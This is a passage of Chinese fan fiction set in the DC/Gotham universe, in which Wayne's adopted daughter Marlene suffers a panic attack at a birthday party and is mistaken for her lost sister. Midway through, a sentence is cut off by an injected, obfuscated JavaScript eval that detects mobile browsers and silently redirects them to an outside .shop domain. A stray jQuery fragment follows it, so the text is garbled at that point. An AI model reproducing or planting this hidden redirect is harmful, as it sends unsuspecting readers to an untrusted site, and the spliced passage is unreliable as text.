什么事情都不能阻止潘妮·墨菲举办她的成年生日派对，就连哥谭糟糕的天气也不能。
玛琳走进玄关，首先印入眼帘的是一条写着“Happy 18th Birthday Panny！”的大横幅，两端分别系着一大束气球。房间中央，长条餐桌上摆放好的各种各样的小吃、饮料，和一个三层高的生日蛋糕。
这些都让她身前的两位姑娘兴致高涨。她们走向着餐桌前，一名身穿白色连衣裙，搭配着金色项链的女孩。三个多年未见的好友激动地交换了个久违的拥抱，“潘妮”脸上带着兴奋的浅红。
“我还以为你们要更晚些来——毕竟从海滨城过来可一点也不近。无论如何，见到你们真是太好了！顺便一问，海滨城怎么样？我听说绿灯侠经常会坐着绿色的火箭在城市上空飞来飞去，这是真的吗？”
“虽然是真的啦，不过海滨城也经常有一些奇奇怪怪的外星人入侵。先不说这个，潘妮，看看我们来的路上遇到了谁？”
琼笑着让到一旁，将她身后的玛琳暴露在潘妮的眼前。
“你是不是忘记给玛姬发邀请函了？”
如果人类的表情可以说话，那么玛琳觉得，一张从兴奋变为疑惑，又变成惊讶和抵触的表情是在说：不，我没有忘记发，我是根本没给她发。
她想：这没什么。我本来就不认识潘妮，她也不认识我。潘妮·墨菲不会给我发邀请函不是理所当然的事吗？
但那个人脸上表情也告诉她：潘妮认识自己，至少知道自己是谁。
也许她还知道……那件事。
……什么事？
——她也不知道！她因为这个认知而感到焦虑。仿佛自己周围有无形的壁垒在挤压着她，让她心跳加速。周围的声音似乎开始变得模糊，眼前的景色像是被蒙上薄雾，连带着人和物一起旋转起来。
再过一会，她就要趴在别人家的地板上呕吐了。
“抱歉，”玛琳说，试图让自己露出带有歉意的微笑。她或许成功了，或许没有，这无从知晓。
“我有些不舒服，大概是早上吃坏肚子了，请问洗手间在哪个方向？”
白色人影的手指指向某个方向，玛琳看不清，不过有一个离开此处的理由就已经足够了。
她几乎是浑浑噩噩地穿梭于人群中，躲避着前进路上的人影和物体——她是不是撞到了谁？有没有向他们道歉？这些都模糊不清。直到一个棕黑色的长方体映入眼帘，这无头苍蝇一般的乱闯终于告一段落。
她一口气冲到洗手间的入口，更棒的是，洗手间里没有任何人。在确定门锁被扣上，不会有人碰巧打开门看见自己之后，她支撑在洗手池的上方，粗喘着气。
心脏猛烈地蹿动着，仿佛要从胸膛中跳出来。耳鸣声此起彼伏，让她难以集中精神。
玛琳想要稳住自己，手中的陶瓷材料被她紧紧抓住，但洗手台上的水抑或手心冒出的冷汗总让她打滑。她深呼吸一口气，试图让大脑获得更多氧气，然而这似乎并没有什么帮助。眩晕感越来越强烈，她感到脚底失去地面的支撑，摇摇欲坠。
可能是天气太热，哥谭市最近的温度就是会这样，我可能中暑了。她想，用颤抖的手拧开水龙头，冷水哗哗地流出来。她低头，将整个脸浸入冰凉之中。
温度的骤变让人猛地一激灵，同时也带来片刻的清醒。她不能让自己在这种时候溺死在洗手池里，所以她将脸抬起，冰冷的水滴沿着发丝、脸颊滑落，眼睫毛上的水珠使她的视线依旧模糊不清。
然而，她瞥到自己的面前，那面镜子中，似乎有颜色在晃动。
那是谁？玛琳有些受到惊吓，紧接着反应过来。附近空无一人，镜子中不会有她自己的身影，那只是幻觉罢了。
可是她无法控制本能的动作，几乎是立刻看向镜子。
一个身穿白色裙子，有着黑色长发的小女孩——那是小时候的玛琳在镜子里的另一端。
这个女孩不是玛丽，也不是梦里见过的那个“二号”，因为她们无论外形如何，都不会作出这种与七岁孩子无异的举动：
大张着嘴巴，双肩不停地抽搐着，仿佛有无形的力量在拉扯心脏。眼睛紧闭，眼眶红肿着，泪珠一颗接着一颗地从那里滚落，沿着脸颊滑下。双手紧紧地抓住胸前的布料，指关节用力到发白，使手中的布料皱得不成样子。
她哭得撕心裂肺，哭得几乎要喘不上气。她的模样那么悲惨，那么可怜，那么，
让玛琳感到愤怒。
镜子没有传出来任何声音，但她的耳膜却刺痛着，如同被尖锐的哭喊声穿透、撕裂，痛得仿佛在流血。
在此刻，视线无法变得更清晰。她看着女孩肌肉拉扯出的褶皱，额头上被眉毛挤出的皱纹，位于门牙处的空洞——一切是如此清晰。
你凭什么哭？你有什么理由表现得就好像有多么无辜、多么委屈一样？
闭嘴、闭嘴！闭嘴！她吼道：
“这是你的错——让她们失望的是你！”
砰！
拳头击中镜子的那一刹那，整个世界似乎都静止了。
镜子裂开，细小的裂缝迅速扩散，形成一张复杂的网络。玻璃碎片四处飞溅，发出清脆的响声。玛琳的左手背立刻被划破，鲜血开始渗出，她感觉不到疼痛般，呆呆地望着镜子。
那里什么人都没有。
真实的疼痛可以让人恢复清醒，于是一切附着在身上的幻痛都消失了。她回过神，缓缓呼出一口气，把冰凉的右手贴在脸上降温。
门外，吉他的旋律透过洗手间的门缝，混杂着鼓点的轰鸣，像是远古巨兽的吼叫声。她能感受到音乐的节奏在空气中震动，多亏了它，没人会注意到这里发生的任何事情。
玛琳从口袋里翻出四十美元，仔细折好，轻轻塞在洗手池下方的小角落里。这里不太容易被人发现，但只要是住在这座宅邸的人，总有一天会发现这笔赔偿。
随即她向芭芭拉和史蒂芬妮发消息解释现在的突发状况，保证自己有时间再去找她们之后，又向阿尔弗雷德报告了现在的位置，告诉他如果自己一小时后还没回到庄园，晚些时候就来接自己。
是时候包扎伤口了。架子上有个急救包，她刚拉开急救包的拉链，洗手间的大门就被人砸得框框响。
一个年轻男性的声音喊着：“嘿！里面的，你是想‘从头做起’吗？我他-妈都要拉在地板上了！”
他同伴们的笑声接着响起。
玛琳匆匆拽下一段纱布，随意地缠绕在左手的伤口上，然后跑出洗手间，把咒骂声留在身后，看也没看他们一眼。
她站在人群之中。
宾客们几乎都拿着邀请函来到了潘妮的家，所以派对开始了。房间里的灯光迷幻地闪烁着不同的颜色，人们三三两两地聚集在一起，欢笑声和交谈声混在一起，伴随着强烈而有力的摇滚乐，杂乱地穿进她的耳中。这些都不算什么，但是——
人群。人群对玛琳来说是灾难。
她不是没接触过人群，比如那次成年礼晚会那天。多么难忘！烤肉的烟熏味、蛋糕的甜味、酸腐的恶臭味、焦糊味和青草与泥土的味道交织在一起，这是一场味觉的盛宴与灾难。每一种味道争先恐后地占据嗅觉空间，那是一种强烈而让人心生厌恶的刺激。
站在人群之中，在这场派对里，她格格不入。
玛琳突然觉得有些渴。
陷入喜悦中的人大多分不出神在乎其他人的模样和感受。她小心地绕过醉倒在地板上的几个人，来到餐桌上为自己接一杯潘趣酒。
杯中的液体是鲜艳的红色。她拿起杯子深吸一口气，一股樱桃的清香夹杂着淡淡的酒精气味便稍微驱散了人群的味道。
这足够支撑到自己与琼和伊莲告别。她得离开这个派对。
玛琳端着潘趣酒寻找那两个女孩，客厅里不见她们的身影。最后在经过楼梯拐角处的房间时，她听到了潘妮的声音。
“……那可是韦恩。”潘妮说。
她停下进入房间的脚步，靠在门框旁边低着头，装作一副沉迷酒水的样子。
“而韦恩，他有的是钱。”一个她不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12929895|123227||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
熟悉的男性声音说。
“成了韦恩的养女之后，我们就再没见过她去上学，就连转学的消息也没有——她没有联系过我们，琼。”
“也不是不能理解，要是我像她一样有个韦恩养父，不愁以后的生活，我也不会去上学了。”另一个男性说。
“但是……你看，她曾经失踪了六年，回来之后就像个没事人。你们看过她成年礼晚会那天的报道了吗？先提一嘴，我不是嫉妒她所以才说她的坏话什么的，我只是觉得，”
她是个怪胎。
玛琳盯着红色的酒水，杯中的液体轻轻晃动，泛起细微的波纹。
“别太伤心，她肯定比以前过得更好，琼。你也知道默克林斯家之前的状况，被一个人傻钱多的阔佬收养对她来说——”
“咚咚。”
谈话戛然而止，玛琳带着友善的微笑推开门，轻声说道：“原来你们在这里。”
她就像什么都没听到一样，回手把门关上，毫不忌讳地坐在琼和潘妮之间的沙发上。
“我离开了多长时间？真对不起，看来早餐吃太多冰棍是个糟糕的决定。你们刚刚聊到哪了？”
她将酒杯放在身前的矮桌上，伸出右手正要搭在琼的肩膀上，琼却突然站起来，躲开了她的触碰。
玛琳愣住了。
那个女孩把脸埋进双手，肩膀轻微地耸动着，开始在这个狭小的房间里慢慢走动。
她怎么了？是我做错了什么吗？玛琳感到有些慌乱。她看着伊莲和潘妮抓起几张纸巾凑近琼，看见房间里另两个男性无措地站起身。
琼在哭？
抽泣声逐渐响亮，验证了她的猜测，但这并不会让她感到好受。
我该怎么办？她有些焦急地想。然而琼没给她那么多思考时间。
她离开两位好友的包围，带着胀红的眼眶，坐到玛琳的面前，一只手安抚似的轻轻握住玛琳的手臂。
“我……对不起。”她哭着说，“对不起，玛莉安娜。”
玛琳浑身僵住。
“我没想到……你会这么想念你的妹妹，甚至把她的习惯变成你自己的。我……对不起，”琼哭得几乎喘不过气，她的嘴唇紧咬着，试图抑制哭泣的声音，可喉咙深处仍然发出断断续续的呜咽声。
“我控制不住……我只是不敢相信，那个说长大后要当兽医，说要永远记住我的那个玛姬……玛格丽特已经……”
玛琳不知道自己现在是什么表情。
她的灵魂像是一颗苹果被切开，分散成好几部分，脱离了自己的身体。一部分的她在尖叫，一部分的她在怒吼，一部分的她在大笑，一部分的她在哭泣，最后一部分的她在说：杀掉你自己，向所有人赎罪。
但她听到自己小声到几乎听不见地说：“对不起。”接着慢慢抬起手，手心贴上琼的后背。
“不……不要道歉，那不是你的错。”
她想，它是。
“我不知道我是怎么了，玛莉安娜。明明最受伤的是你，却也是你来安慰我，我……”
“没事的。”她听到自己说，她看到自己说：“没事的，一切都会好起来的。”
一切都会好起来的。
……
琼最后还是平静了下来，红着脸向她道谢，邀请她到客厅去参加派对。她拒绝了。现在小房间里只剩下她自己。
她坐在沙发上，一动不动地望着对面墙壁那扇窗户，直到阴云密布的天空变得更加阴沉，乌云更加浓厚，落下雨点。
雨点打在玻璃窗上。
雨点打在脸上。
派对结束，客人们成群结伙地举着伞或淋着雨走过玛琳，离开潘妮家庭院的大门前。没人会在意一个站在雨幕下任由雨水打湿自己，既不离开，也不在屋内躲雨的怪人。
她看着脚前逐渐积起水洼，看着雨点落在水洼里溅出水花，看着一双黑皮鞋出现在水洼的另一端，头顶随之没了雨滴敲打的感觉。
阿尔弗雷德在为她举着黑色的雨伞。
“玛琳小姐。”他说，“该回家了。”